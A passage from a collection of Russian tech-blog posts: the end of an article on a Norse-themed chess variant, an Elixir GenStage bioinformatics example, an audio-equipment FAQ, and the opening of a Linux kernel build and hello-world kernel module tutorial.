воинов забирают бессмертные девы-воительницы — валькирии, летающие над землёй на крылатых конях. По своим способностям, они напоминают мне «летающие дамки» в русских или турецких шашках — максимальная мобильность и возможность взятия нескольких фигур за один ход. Можно заметить, что здесь изображено три формы — между первыми двумя происходит переключение (таким образом, валькирия чередует диагональные и ортогональные перемещения), а третья — универсальная. Она сочетает в себе правила перемещения первых двух форм и может быть получена только превращением фигуры. Пустой треугольник означает перемещение по прямой на пустое поле, а крестик показывает как удаляются вражеские фигуры (по правилам шашек). На закрашенные квадраты внимание можно не обращать. В мире Вальхаллы они не работают (по причинам, о которых я расскажу ниже). Антагонистами валькирий являются ледяные великаны — ётуны. Это, действительно, полная их противоположность — неторопливые фигуры, двигающиеся всего на один шаг (на соседнее поле), при условии что оно пусто (именно это означает заполненная «точка»). Взятия осуществляются по правилам мадагаскарской " Фанороны ": На поле 8x8 такая фигура может взять до 6 противников за раз (и после этого продолжить бой). Более того, ётуны в Вальхалле даже сильнее чем шашки Фанороны! В Фанороне игрок бьёт либо те шашки к которым подходит, либо те, от которых отступает. В Вальхалле бьются и те и другие! Несмотря на свою силу, ётуны остаются очень тихоходными. Манёвренности валькирий они могут противопоставить лишь своё количество: По сюжету игры, орды ётунов осаждают Вальхаллу. Дойдя до последней линии, ётуны превращаются в «универсальную» форму (только в этом «мире», не в основной игре). Для победы достаточно получить четырёх «превращённых» ётунов. Соответственно, валькириям требуется снизить количество ётунов ниже этого уровня (до трёх и менее). Сложность игры (человек играет за валькирий) легко регулируется количеством осаждающих фигур. Один в поле — воин! Следующим этапом стало добавление новых типов младших фигур (в дополнение к валькириям и ётунам). Вообще, младших фигур в игре не так много и каждую из них хотелось сделать особенной, добавив какую-то уникальную способность. Все младшие фигуры используют составные ходы (но каждая по своему, не так как это делают валькирии или ётуны). Основа любого войска, воин — единственная фигура способная сражаться как на стороне «света», так и за «силы зла» (и, в силу чувства солидарности, не атакующая своих враждебных собратьев): Ход, кодируемый закрашенным кружочком, выглядит ничем не примечательно — поочерёдное чередование ходов фигур Ferz и Wazir . Если бы возможности воина ограничивались лишь этим, получилась бы очень слабая и медлительная фигура. Закрашенная точка позволяет переместиться немного дальше, чтобы побить вражескую фигуру обычным ходом, после чего воин может «прыгнуть» снова. В таком режиме «берсерка» он способен обойти всю доску: В целом, получается похоже на ход шахматного " коня ", за исключением того, что воин не может «перепрыгивать» через другие фигуры и может не поворачивать после выполнения «прыжка». Задачка обхода шахматной доски послужила превосходной вводной — первым «миром» игры. Воин обязан взять все фигуры одним составным ходом, потому что если на доске останется хотя бы один ётун, то он легко одержит победу. Альвы и противостоящие им цверги завершают список младших фигур. Здесь появляется новая разновидность хода — «выстрел» (в случае цвергов это скорее удар топором). Фигура может атаковать вражескую фигуру находящуюся на поле помеченном звёздочкой, «не сходя с места». Кроме того, обе фигуры могут прыгать на не занятое поле. Составные ходы альвов и цвергов реализованы по разному. Альв, после взятия вражеской фигуры, может сделать дополнительный выстрел, а цверг, после прыжка, рубит противника топором. Мы сожгли последний мост Биврёст — «трясущаяся дорога». Радужный мост ведущий в Асгард . В день Рагнарёка, огненные великаны проскачут по нему в долину Вигридр , спеша на последнюю битву. Мост рухнет. И в мире не будет радуги. Огненные великаны - пожалуй, самая сложная часть игры Как в техническом смысле, так и в плане игрового баланса. Это фигуры обладающие пассивной способностью сжигать врагов вокруг себя. Я уже сталкивался с подобным, когда работал над " Ko Shogi ". В этой игре много интересных фигур. Пожалуй, даже слишком много. Скромный «Engineer» (軍吏 gunri) теряется на их фоне. Это тихоходная и малоопасная фигура, способная превратиться в «Poison flame» (毒火 dokka). «Отравленное пламя» гораздо более опасно, хотя и остаётся столь же тихоходным. Любая вражеская фигура, попавшая в её ближайшую окрестность (в том числе и своим ходом) просто исчезает с доски. Здесь следует заметить, что хотя правила превращения в «Ko Shogi» гораздо более разнообразны чем правила превращения в Шахматах или Сёги , превращение фигуры «Engineer» может рассматриваться лишь как крайне маловероятное событие (слишком слаба эта фигура). Возможно, по этой причине, правилами плохо проработан следующий, довольно важный вопрос: It is not clear what happens when two opposing poison flames meet. Nor what happens if any other opposing piece lands next to a poison flame. See the fire demon in tenjiku shogi for some possibilities. В " Tenjiku shogi " вопрос взаимодействия вражеских «огненных» фигур проработан более детально (что не удивительно, поскольку «Огненные демоны» играют едва ли не самую важную роль в этой игре): Burn: Wherever the fire demon stops, all adjacent opposing pieces except fire demons are removed from the board, in addition to any piece on the square it lands on. That is, a fire demon can capture up to eight pieces per turn (one it displaces, and seven it burns on adjacent squares). Passive burn: Any piece stopping next to an opposing fire demon is removed from the board (after making its capture, if any). Such so-called «suicide moves» do not count as a turn for the stationary player: the fire demon passively burns opposing pieces that land on adjacent squares without using up a turn. (BrlR[mKa3K] + immediate xK) Conflict between fire demons: When one fire demon lands next to another, it is only the moving piece that is immolated. The stationary fire demon survives, as do all other adjacent pieces. Если «Огненный демон» подходит к вражескому, он сгорает. Фигура, стоявшая неподвижно, остаётся на доске. И в «Ko Shogi» и в «Tenjiku shogi» сгорают лишь вражеские фигуры. Это придаёт игре тактическое разнообразие (например, фигура может атаковать вражескую, стоящую в зоне действия «Огненного демона», сгорев при этом). В «Рагнарёке» я решил отказаться от этого принципа. Все «огненные фигуры» сжигают все «не огненные» (и свои и чужие), оказавшиеся в области действия. Кроме того, в игре «Рагнарёк», огненные фигуры могут выступать лишь на стороне Хаоса. Это довольно таки мобильные фигуры, но их способности по «сжиганию» других фигур ограничены четырьмя соседними полями. На оставшиеся четыре ближних поля фигура может ходить, выполняя шахматное взятие. Дальние прыжки могут выполняться лишь на пустые поля (таким образом, огненного великана можно заблокировать, заняв поле, на которое он мог бы прыгнуть). Предводитель огненных великанов, Сурт — более мощная, но менее маневренная фигура. Сурт может призывать огненных великанов на поле боя и отдавать им приказы. Разрушающееся поле - ещё одна важная часть игрового процесса Шахматные игры такого типа — не редкость. Амазонки , Шакти , Caïssa — во всех этих играх могут выполняться ходы, разрушающие само игровое пространство. Фигуры не могут посещать разрушенные поля. С каждым ходом пространства для манёвра остаётся всё меньше. Это игра на выживание! Я не большой поклонник подобного рода игр, но решил использовать эту игровую механику для одного из миров «Рагнарёка». Задача «Огненных всадников» (игрок играет за них) — дойти Суртом до нижнего края доски или уничтожить все противостоящие фигуры. На другой стороне выступают светлые альвы . Это отчасти соответствует скандинавской мифологии, но главная причина прагматическая. Эффективно противостоять «огненным» фигурам могут лишь фигуры «стреляющие» — бьющие на расстоянии, без изменения своей позиции. Им не обязательно уничтожать фигуры противника, достаточно загнать их на уже разрушенную часть доски с которой они не смогут выбраться. Дева и её пёс Хель — хозяйка подземного мира. Сине-белая великанша, дочь Локи и Ангрбоды . В день Рагнарёка, плечом к плечу с Локи и Суртом, она восстанет на битву с ненавистными асами и поведёт своих мертвецов на штурм Асгарда! Пожалуй, это самая интересная фигура «Рагнарёка». Она довольно тихоходна, но компенсирует это уникальной пассивной способностью. Хель может замораживать младшие фигуры (воинов, альвов, цвергов и даже валькирий). Фигуры, попавшие под действие «заморозки» превращаются в статистов. Они могут быть перемещены из опасной зоны приказом старшей фигуры, но сами по себе, никаких действий предпринять не могут. Этим способности Хель не ограничиваются. На «замороженные» поля могут призываться ледяные великаны — ётуны (естественно, на них действие «заморозки» не распространяется), а сами замороженные фигуры могут быть обращены на сторону Хель (кроме бесстрашных валькирий). Но и это ещё не всё! Хель может резко увеличить «мобильность» своей заморозки, призвав на поле боя верного пса — Гарма . Задача Гарма — оперативная доставка «заморозки» в любую точку игрового пространства. Эта фигура не может бить врагов вдалеке, но способна максимально быстро добраться до них чтобы «заморозить». Замороженные фигуры могут быть «обращены» Хель (не важно, как далеко от неё они находятся). Кроме того, Гарм может «перепрыгивать» через фигуры находящиеся поблизости. Для демонстрации совместных способностей Хель и Гарма, я разработал «мир» Хельхейм . По сюжету игры, в царство Хель вторгается отряд живых воинов. Игрок, управляя Хель и Гармом, отражает нападение, частично уничтожая воинов, частично обращая их на свою сторону. Последняя битва Но вот, пробил час последней битвы. Фенрир освободился от пут и поглотил Солнце. Ёрмунганд выполз на берег и море вышло из берегов. Сурт обрушил радужный мост. Чудовищный Нагльфар привёз своих мертвецов. Асы и все эйнхерии , во главе с Одином, вышли на бой в долине Вигридр . Самое время с ними познакомиться. Один — отец богов и людей. Мудрец и воин. Предводитель воинства асов. Не самая сильная фигура в игре. Он может отдавать приказы всем своим воинам, но не может их призывать. Может бить на два поля и прыгать через фигуры, но не в северо-западном направлении (левый глаз Одина был отдан, в обмен на мудрость). Он может то, чего не могут все остальные. Немножко магии Один — отец рун. Девять суток провисел он на стволе древа Иггдрасиль , пронзив себя собственным копьём. За это, ему открылись руны — алфавит древних викингов, широко используемый в мистической и гадательной практике. Всего рун 24 (в игре, я использовал лишь 14 из них), каждая имеет своё значение. Один может бросать руны, а руны творят магию. Все руны, выбрасываемые в игре (кроме пустой руны), оказывают своё действие. Но не всегда это действие легко заметить. Руны могут превращать одни фигуры в другие, призывать воинов, защищать фигуры или замораживать их. Руны могут изменять расположение фигур и даже сам рельеф местности. Руны не могут быть побиты другими фигурами и могут быть использованы в качестве щитов. У них есть только один недостаток. Когда Один бросает руну, никому не известно, какая руна выпадет. Локи — главный антагонист Одина. Бог хитрости и обмана. Отец чудовищ. Само воплощённое безумие. Как и Один, это не очень сильная фигура, способная выполнять действия, недоступные остальным фигурам. Например, Локи — единственная фигура, которая может изменять расположение фигур противника (меняя их местами со своими фигурами). Локи может захватывать руны выброшенные Одином (правда не все, а только обратимые) и использовать их в своих целях. Локи может призывать чудовищ. Ёрмунганд и Фенрир — хтонические чудовища. Фигуры, двигающиеся прямолинейно, на любую дистанцию, проходя сквозь другие фигуры (свои или противника — не важно) и уничтожая их. Только руна, гора или граница игрового поля могут остановить их движение. Поскольку Фенрир двигается «зигзагом» (по диагонали, переключая направление после каждого хода), он может «застрять» в углу доски. Если это произойдёт, он имеет право выполнить «ход на месте», потратив ход игрока на разворот. Слейпнир — третье порождение Локи, не столь однозначен. Это восьминогий конь, способный быстро перемещаться по полю. Само его имя переводится как «скользящий» или «шустрый». Чередование ходов шахматной " Ладьи " и " Слона " — вполне подходящая метафора для этой фигуры. Слейпнир лишён способности «проникающего» хода, но может перевозить на себе Локи или Одина. Оседлав Слейпнира, Локи получает новое качество. Он по-прежнему умеет призывать чудовищ и захватывать руны, но становится гораздо более мобильным. Его ходы становятся более симметричными и он обретает дополнительную способность «удара», не сходя с места (аналогичную способности цвергов). Он становится менее уязвим. Выстрелы по этой фигуре «убивают» Слейпнира, оставляя Локи пешим на доске. Впрочем, Локи может «спешиться» и самостоятельно. Для этого, достаточно выполнить «Прыжок», возможно убив при этом фигуру противника. Существует ещё одна возможность, для того чтобы «спешить» Локи. Один может напасть на всадника. В этом случае, Один и Локи меняются местами. Один оказывается на коне, а Локи остаётся пешим. В случае, если Один решит сойти с коня, Слейпнир продолжит борьбу уже на стороне «сил Света». Во всяком случае до тех пор, пока Локи вновь не захватит его. Остались ещё два «божества поддержки» — Тюр , потерявший руку в процессе пленения Фенрира (той самой цепью из звука кошачьих шагов, корней гор и всего прочего, чего более нет на этом свете) и Тор , с его легендарным молотом. Это призыватели младших фигур — воинов, альвов и валькирий. Тип призываемой фигуры определяется случайно. Тор, в дополнение к этому, обладает способностью удара «по площадям» (квадрат 3x3, не содержащий дружественных фигур) и перемещения на дальние дистанции. Он самый сильный из асов. Напоследок стоит рассказать о ещё одной уникальной особенности игры — тех самых чёрных квадратах, упомянутых мной в рассказе о валькириях. Это щиты, оберегающие другие фигуры от ряда атак, таких как «шахматное взятие» или «выстрелы». Их действие аналогично руне " Algiz "). К сожалению, в «мире Вальхаллы» они бесполезны. Просто потому, что не защищают от специфических атак ётунов. Это всё, что я хотел рассказать об игре. В качестве постскриптума, хочу поделиться с вами фрагментом замечательного стихотворения великого американского писателя — Говарда Филлипса Лавкрафта . Тевтонская боевая песнь Замкнёт кольцо творенья Рагнарёк, Биврёст разрушит Суртура орда, Погибнут Боги, люди от меча, Исчезнет солнце, море всё пожрёт, Погаснут звёзды, Хаос снизойдёт. Затем Альфёдр создаст свой мир иной, Богов, людей наполнив чистотой. Придёт страна блаженная Обилья, Не будет в ней пороков и насилья. Всех с наступающим Новым Годом!
https://geektimes.ru/post/283892/
habrahabr
Elixir в биоинформатике
['elixir', 'genstage', 'биоинформатика']
В этой статье я расскажу о своей попытке использования библиотеки GenStage, а в частности модуля Flow, для реализации одного из алгоритмов биоинформатики. На протяжении последних двух лет я...
В этой статье я расскажу о своей попытке использования библиотеки GenStage , а в частности модуля Flow , для реализации одного из алгоритмов биоинформатики. На протяжении последних двух лет я занимался разработкой комплексной системы хранения и поиска результатов метагеномного анализа ( метагеномика ) углеводородного сырья. Наверное, для многих это китайская грамота. Фактически такой анализ означает выявление всех типов микроорганизмов, обитающих, к примеру, в залежах нефти. Некоторые из этих микроорганизмов, преимущественно бактерии, способны разъедать стальные трубы и создавать множество других неблагоприятных эффектов. Первый этап метагеномного анализа – секвенирование генома нескольких тысяч особей, найденных в углеводородном сырье. Так как в результате секвенирования «считывается» не весь геном, а только отдельные его участки, то определить, какой особи принадлежит тот или иной участок – вычислительно сложная задача. Что касается компьютерной реализации, анализ заключается в передаче исходных данных, так называемых азотистых оснований (A, T, U, C, и G), в цепочку процессов. Одной из известных программ для решения этой задачи является  Qiime   (читается «чайм»). Она состоит из множества связанных друг с другом приложений, написанных на Python. Сначала я разработал свой фреймворк потоковой обработки данных для Elixir, но, как только появился GenStage, мне стало интересно оценить его возможности в проведении исследований подобного рода. Переход на GenStage Вместо того, чтобы пытаться переписать Qiime на Elixir (задание не из самых простых) я решил начать с малого, а именно выяснить, каким образом можно реализовать на Elixir простейшие алгоритмы биоинформатики и как пользоваться преимуществами параллельного исполнения GenStage (возможно, он сработает быстрее). С этой целью я прошёл замечательный онлайн-курс на сайте Coursera под названием «Находим скрытые в ДНК сообщения (Биоинформатика I)» , в котором описываются задачи биоинформатики и пути их решения. Для их реализации можно выбрать любой язык программирования. Одна из таких задач – поиск повторяющихся участков генома. Определим условие задачи. k-мер – это последовательность из k нуклеотидов, например, CTGGAT – это 6-мер. Дана последовательность, которая может состоять из миллионов нуклеотидов. Требуется найти k-меры, появляющиеся в ней неоднократно. Вместо прочёсывания всей последовательности, обратим внимание на k-меры, содержащиеся в отдельных её частях. В частности, в последовательности из 1500 нуклеотидов, k-меры будем искать только на участке из 500 нуклеотидов. Пример из онлайн-курса Дано:  CGGACTCGACAGATGTGAAGAACGACAATGTGAAGACTCGACACGACAGAGTGAAGAGAAGAGGAAACATTGTAA Задание: Найти 5-мер, присутствующий хотя бы 4 раза на участке из 50 нуклеотидов. Решение: CGACA GAAGA Алгоритм перебирает последовательность, вычленяя из неё определённый участок, после чего перебирает этот участок, вычленяя k-меры и подсчитывая среди них количество уникальных. В обоих случаях перебор происходит в каждом азотистом основании отдельно. В результате получаем k-меры, которые встречаются указанное количество раз. Почему используется именно этот алгоритм? Дело в том, что определённые последовательности нуклеотидов в геноме живого организма имеют особое значение. Например, у бактерий такие последовательности указывают на точки начала и окончания репликации молекулы ДНК. Реализация А вот и моя реализация приведённого алгоритма с использованием модуля Flow из GenStage: defmodule Bio do alias Experimental.Flow def clump(seq, k_mer_len, subseq_len, times) do |> seq |> String.to_charlist |> Stream.chunk(subseq_len, 1) |> Flow.from_enumerable |> Flow.partition |> Flow.map(fn e -> Stream.chunk(e, k_mer_len, 1) end) |> Flow.map( fn e -> Enum.reduce(e, %{}, fn w, acc -> Map.update(acc, w, 1, & &1 + 1) end) end) |> Flow.flat_map( fn e -> Enum.reject(e, fn({_, n}) -> n < times end) end) |> Flow.map(fn({seq, _}) -> seq end) |> Enum.uniq end end Может, и не идеально, но код работает. Рассмотрев его подробнее, можно выделить следующие действия. Последовательности нуклеотидов записываются в поток данных Flow. Далее туда же помещаются k-меры, подсчитывается количество их повторений, и это значение записывается в поле Map. Удаляются те элементы (k-меры), которые появляются меньше необходимого количества раз. И, напоследок, вызывается функция Enum.uniq , которая отсеивает повторяющиеся элементы (важно не то, сколько раз появилась последовательность, а то, что она встретилась определённое количество раз).  Обратите внимание на то, что я использую функцию Stream.chunk/4 . Эта функция реализована в модулях Enum и Stream, но в Flow её нет. Будучи в замешательстве по поводу того, нужна ли отдельная реализация функции chunk для модуля Flow, я отправил этот вопрос в список рассылки Elixir. Создатель языка, Жозе Валим, любезно на него ответил, и более того, предоставил улучшенную реализацию функции clump (см. ниже)! Важно отметить, что, по его словам, пользоваться Flow необходимо с осторожностью, особенно если существует необходимость в сохранении изначальной последовательности данных, ведь неизвестно, когда именно какой-нибудь из параллельных процессов завершится и возвратит результат. Как оказалось, приведённый алгоритм поиска не требует сохранения изначальной последовательности данных. Ещё Жозе отметил, что нет необходимости в вызове Flow.partition , так как в данном алгоритме секционирование данных не происходит. Реализация функции от Жозе: def clump(seq, k_mer_len, subseq_len, times) do seq |> String.to_charlist |> Stream.chunk(subseq_len, 1) |> Flow.from_enumerable |> Flow.flat_map(&find_sequences(&1, k_mer_len, times)) |> Enum.uniq end def find_sequences(subseq, k_mer_len, times) do subseq |> Stream.chunk(k_mer_len, 1) |> Enum.reduce(%{}, fn w, acc -> Map.update(acc, w, 1, & &1 + 1) end) |> Enum.reject(fn({_, n}) -> n < times end) |> Enum.map(fn({seq, _}) -> seq end) end Заключение от переводчика Вы можете найти оригинал статьи по ссылке: GenStage and Bioinformatics К сожалению, в сети ещё слишком мало информации об Эликсире на русском, поэтому, если вам понравилась статья, поддержите её плюсами и репостами, а если вы хотели бы периодически читать об Эликсире что-то новое, то присоединяйтесь к Вунш – русскоязычному сообществу Эликсира – и подписывайтесь на рассылку, чтобы получать переводы самых интересных статей!
https://habrahabr.ru/post/318104/
habrahabr
Актуальный FAQ о звуке и аудиоаппаратуре #1: ответы на распространённые вопросы читателей
['Звук', 'аудиоаппаратура', 'психоакустика', 'faq', 'наушники', 'кабели', 'АС', 'ответы на вопросы', 'акустика', 'физика']
Читатели нашего блога, покупатели и посетители наших шоурумов задают вопросы, некоторые из них многократно повторяются. Для того чтобы ответить на наиболее распространённые, мы решили написать...
Читатели нашего блога, покупатели и посетители наших шоурумов задают вопросы, некоторые из них многократно повторяются. Для того чтобы ответить на наиболее распространённые, мы решили написать небольшой пост с ответами. В силу того, что некоторые сведения, отраженные в этом FAQ, мы уже публиковали в наших материалах, ответы на ряд вопросов будут сокращены. Некоторые вопросы будут обобщаться. Понимаю, что «прогревный» и «кабельный» холивары многим порядком поднадоели, но в связи с большим количеством задаваемых вопросов по этой теме, обойти эти темы не удалось. Отмечу сразу, что вопросы о нравственности ценообразования на hi-end аппаратуру находятся вне моей компетенции и вне компетенции наших экспертов, так как ценообразование в большей степени зависит от производителей. По этой причине комментариев на тему «а у вас в магазине усилитель за 100500 $, ай-ай-ай» или «а почему такой-то кабель вообще может столько стоить!?» мы давать не будем. Распространено мнение, что по ряду параметров виниловый звук превосходит по качеству другие форматы, так ли это, с чем по-вашему связан возврат к этому формату? О превосходстве винилового звука ничего хорошего сказать не могу. «Виниловый звук» уступает практически всем цифровым форматам в силу архаичной технологии звукоизвлечения и звукозаписи. Проблемы винилового звука отчасти решают фонокорректоры, которые восполняют недостатки частотных проблем, но при этом остаются артефакты: хруст, детонация, треск, фон и т.п. Если говорить о феномене восставшего из пепла «бессмертного винила», то тенденция скорее эстетически-ностальгическая, нежели обусловленная акустическими достоинствами пластинок и проигрывателей. Само использование виниловых проигрывателей, покупка пластинок, «сакральный» «мистицизм» ритуальных действий с «вертушкой» для некоторых пользователей является крайне важной составляющей. Полагаю, многим, как и мне самому, близка эстетика такого рода. Дальше достаточно простая схема: PR-концепция, маркетинг-стратегия, СМИ, рекламные буклеты, интернет, пара-тройка эпизодов в голливудском кино — и вот воскресший виниловый тренд завоёвывает континенты. Есть авторы, которые искренне полагают, что винил обладает «живым» звуком, а «живость» -есть наиважнейший критерий качества. Опровергать подобные суждения смысла не имеет, так оные относятся к проблемам истинности веры, а конституцией РФ декларирована свобода вероисповедания. Не редко в статьях вы описываете такие параметры как КНИ, Кг, связывая с этими характеристиками свои выводы о качестве. Почему вы считаете нелинейные искажения существенными, ведь известно, что АЧХ человеческого слуха нелинейная, а слуховой аппарат способен порождать гармонические искажения? Описанные вами характеристики являются признанными критериями качества, которые входят в стандарты оценки качества аудиоаппаратуры. Давно доказано, что эти характеристики, как и ряд других, например, IMD, существенно отражаются на качестве звучания. Что касается нелинейности слуха, то современные исследования в области психоакустики, психологии восприятия, нейрофизиологии, демонстрируют, что человеческий мозг отличает аппаратные искажения от физиологических. В частности, такого мнения придерживаются такие ученые как Алдошина, Бозе, Морозов. Почему вы отрицаете «прогрев» наушников и динамиков, ведь это электромеханические системы, созданные из материалов, которые меняют свои свойства в процессе длительной работы? В нашей статье нигде не утверждалось, что не могут меняться свойства. При этом такие изменения в известных нам аппаратных исследованиях не выходят за пределы величин, которыми можно пренебречь, и со стремящейся к бесконечности вероятностью подобные изменения не способны повлиять на звук так, чтобы это услышало человеческое ухо. При этом доказан факт, что человеческий слух адаптируется к новым параметрам звука, по этой причине и возникает пресловутая иллюзия эффекта от прогрева. Описанное выше касается в первую очередь динамических наушников. Ряд производителей планарных (изодинамических) наушников рекомендует так называемый «прогрев». В этих компаниях считают, что растяжение мембраны при многочасовом воспроизведении шума или музыки могут положительно повлиять на акустические свойства. Специалисты таких компаний как SHURE и Sennheiser опровергают подобные выводы. Для справки: мы продаём диски с розовым шумом для прогрева аппаратуры, так как они пользуются спросом среди людей, убеждённых в действенности прогрева. Я некоим образом не посягаю на веру этих людей. При этом убеждён, что любой процесс настройки, отладки аппаратуры должен быть не просто обоснован, но доказан с научной точки зрения. В комментариях вы неоднократно утверждали, что «прогрев» акустических кабелей является бесполезным занятием. В связи с этим вопрос: ставите ли вы под сомнение концепцию акустического фонона, в соответствии с которой ряд исследователей основывает выводы об эффекте прогрева кабелей? Считаете ли вы неправильным мнение авторитетного инженера Сухова, автора усилителя высокой точности воспроизведения, об эффекте прогрева кабелей? Я ставлю под сомнение «прогрев» кабелей, равно как и «прогрев» наушников и усилителей, так как этот процесс ни теоретически, ни практически не был обоснован. Судя по полученным мной данным концепция квазичастицы фонона и основанные на этой концепции выводы, никоим образом не связаны с эффектами прогрева кабелей. Приведённая вами квазичастица используется для упрощения математических расчетов в физике сверхпроводников, процессов теплопроводности, процессов рассеяния в твердых телах. На сколько мне известно (я консультировался с компетентными специалистами), в физике твёрдого тела не известно ни одной теории и (или) научной работы, которая бы описывала эффекты изменения звука аудиоаппаратуры в результате «прогрева» (прогона) кабелей, в том числе базирующихся на концепции фонона. Доводилось слышать о маркетологических спекуляциях, частично основывающихся на этой концепции, но не имеющих ничего общего с физикой кроме заимствования терминологического аппарата. Относительно Сухова, мне не доводилось читать доказательных выводов и исследований этого автора об использовании прогрева. Некоторые авторы лишь ссылаются на то, что Сухов считает «прогрев» действенным, но ничем это не аргументирует. Воспринимается ли слухом наличие фазовых искажений в АС с задержкой менее 0.5 мк, испортит ли такая задержка звук АС? Существенные фазовые искажения ощутимо негативно влияют на звук, однако большинство современных производителей акустических систем стремятся учитывать это влияние, в результате фазовые искажения многих современных АС находятся за порогом слышимости. Указанное вами время задержки не может повлиять на звук, так как значение задержки превышает порог восприятия. По какой причине аудиоаппаратура, имеющая идентичные значения (КНИ, IMD, AЧХ, ФЧХ, и пр.), звучит по-разному? Доказано, что параметры, о которых вы писали, влияют на качество звука. При этом сегодня известны и изучены не все параметры, которые используются человеческим мозгом для обработки информации о звуке. Ежегодно специалисты в этой области делают открытия, интенсивно ведется работа по выявлению необходимых параметров. Искренне надеемся, что публикация оказалось полезной. Задавайте вопросы, мы всегда рады ответить, посты в этом цикле будут выходить 2 раза в месяц. Всем хорошего звука и настроения!
https://geektimes.ru/company/pult/blog/283888/
habrahabr
Перехват системных вызовов Linux с помощью LSM
['lsm', 'linux kernel', 'modules', 'hooks']
Недавно поступили такие задачи: собрать ядро Linux, написать для него модуль и с его помощью перехватывать системные вызовы. И если первые две я выполнил без проблем, то в процессе выполнения...
Недавно поступили такие задачи: собрать ядро Linux, написать для него модуль и с его помощью перехватывать системные вызовы. И если первые две я выполнил без проблем, то в процессе выполнения третьей у меня возникло впечатление, что работа с системными вызовами вышла из моды лет 10 назад. Периодически я находил в интернете статьи, которые были близкими к тому, что я искал, некоторые были даже очень хорошо написаны, но у всех был существенный недостаток — они устарели. Начальные условия 4 ядра процессора Intel Core i7 4 Гб оперативной памяти + 4 Гб swap Ubuntu 16.10 x64 на виртуальной машине VirtualBox 5.1.10 Ядро Linux 4.9.0 gcc 6.2.0 Для редактирования конфигурации ядра в псевдографическом режиме нужен ncurses: sudo apt-get update sudo apt-get install libncurses5-dev Сборка чистого ядра Я рекомендую собрать чистое ядро прежде, чем начать разработку модулей. На это есть 2 причины: Первая сборка ядра — довольно продолжительный процесс. Чаще всего он длится от 20 минут до 3 часов. Если же провести сборку заранее, вы получите большую часть бинарников ядра, которые не будут нуждаться в перекомпиляции. Это позволит полностью сосредоточиться на разработке модуля, не мучаясь в ожидании ответа на вопрос “Запустится ли мой первый Hello World?” Успешно собрав чистое ядро, вы убедитесь, что на этом этапе нет проблем и что можно приступать к следующему. Иногда загрузка со свежесобранным ядром может быть неуспешной, и, если вы собирали его вместе с модулем, сложно будет понять, что именно положило систему. Итак, сборка ядра: Скачиваем архив с исходниками: wget https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-x.x.x.tar.xz где x.x.x — версия ядра. Либо можно скачать архив руками с kernel.org Извлекаем данные из архива: tar -xpJf linux-x.x.x.tar.xz Переходим в только что распакованную папку: cd linux-x.x.x Генерируем конфигурацию ядра по умолчанию: make defconfig Для продвинутых: make menuconfig Откроется псевдографический интерфейс конфигурации ядра. В большинстве опций разобраться не сложно, но без понимания каждого изменяемого параметра очень легко всё поломать. Для первой сборки я рекомендую использовать всё же параметры по умолчанию. Запускаем непосредственно сборку ядра и модулей: make && make modules Сборка будет длиться от 20 минут до 3х часов. Лайфхак: make -j x && make modules -j x Где x — количество ядер процессора + 1. То есть в моём случае x = 5. Такое значение рекомендуют установить во всех руководствах, но на самом деле значение можно установить любое. Я решил “увеличить количество ядер вдвое”, то есть запустить сборку c параметром -j 9. Это не ускоряет сборку в 2 раза, но увеличивает конкурентоспособность процессов сборки по отношения ко всем другим процессам в системе. Кроме того, в системном мониторе(gnome-system-monitor) всем make-процессам я установил максимальный приоритет. Система после этого буквально зависла, но сборка прошла за 6 минут. Используйте этот метод на свой страх и риск. После успешной сборки нужно установить всё то, что мы собрали. Это требует root-прав. Установка заголовков: sudo make headers_install Установка модулей: sudo make modules_install Установка непосредственно ядра: sudo make install Команды установки должны сгенерировать начальный RAM-диск и обновить grub. Если вдруг начальный RAM-диск не сгенерировался — система с новым ядром не запустится. Проверить это можно по наличию файла "/boot/initrd.img-x.x.x" (x.x.x — версия ядра) Если файла не обнаружилось — генерируем его руками: sudo update-initramfs –c –k x.x.x Обновляем загрузчик grub: sudo update-grub Готово! После перезапуска система запустится с новым ядром. Проверить текущую версию ядра: uname -r Если вдруг что-то пошло не так, и система не загружается с новым ядром, перезагрузите компьютер, в меню grub перейдите в advanced options и выберите другую версию ядра(ту, под которой вы загружались раньше, обычно у версий по умолчанию добавляют суффикс -general) Создание модуля Создание модуля ядра во многом напоминает написание обычной пользовательской программы на C, кроме некоторых отличий связанных с ядром: Ядро не имеет доступа к стандартным библиотекам языка C. Причина этого – скорость выполнения и объем кода. Часть функций, однако, можно найти в исходниках ядра. Например, обычные функции работы со строками описаны в файле lib/string.c Отсутствие защиты памяти. Если обычная программа предпринимает попытку некорректного обращения к памяти, ядро может аварийно завершить процесс. Если ядро предпримет попытку некорректного обращения к памяти, результаты будут менее контролируемыми. К тому же ядро не использует замещение страниц: каждый байт, используемый в ядре, – это один байт физической памяти. В ядре нельзя использовать вычисления с плавающей точкой. Активизация режима вычислений с плавающей точкой требует сохранения и проставления регистров устройства поддержки вычислений с плавающей точкой, помимо других рутинных операций. Фиксированный стек(причём довольно небольшой). Именно поэтому не рекомендуется использовать рекурсию в ядре. Hello world! Давайте на конкретном примере рассмотрим “Hello world” в виде модуля ядра. Создадим файл hello.c в любой удобной для вас папке: // hello.c #include <linux/module.h> #include <linux/kernel.h> static int __init myinit(void) { printk("%s\n","<my_tag> hello world"); return 0; } static void __exit myexit(void) {} module_init(myinit); module_exit(myexit); MODULE_LICENSE("GPL"); Обычная пользовательская программа начинается с вызова функции main() и работает, пока не возвратит системе какое-то значение. Модуль же по сути является частью кода самого ядра, в котором содержатся функции-обработчики некоторых событий. Простейший пример такого события — загрузка или выгрузка самого модуля. Функции, которые обрабатывают эти события — соответственно static int __init myinit(void) static void __exit myexit(void) Они отмечены макросами __init, __exit и зарегистрированы с помощью module_init и module_exit как обработчики событий. Название этих функций может быть любым, но не должно конфликтовать с другими функциями в ядре. Поскольку ядро не использует стандартную библиотеку C, мы не можем использовать stdio.h. Вместо этого мы подключаем файл kernel.h, в котором реализована функция printk. Эта функция аналогична printf с тем лишь отличием, что выводит сообщения не в окно терминала, а в системный лог (/var/log/syslog). В этот лог пишется очень много сообщений со всей системы, поэтому наши нужно пометить каким-то оригинальным тегом , чтобы потом с помощью утилиты grep можно было выделить только сообщения нашего модуля. Ещё одна непонятная строчка — MODULE_LICENSE(«GPL»); Она указывает, что наш модуль соответствует лицензии GPL. Без этого часть возможностей внутри ядра будет недоступна. Сборка Для того чтобы собрать этот модуль в той же папке, где лежит исходный код модуля, создадим Makefile: # указываем путь к недавно собранному ядру KERNEL_PATH = /path-to-your-kernel/linux-x.x.x # перечисляем файлы, которые будут собираться в файлы модулей obj-m += hello.o all: # запуск make с параметром -C 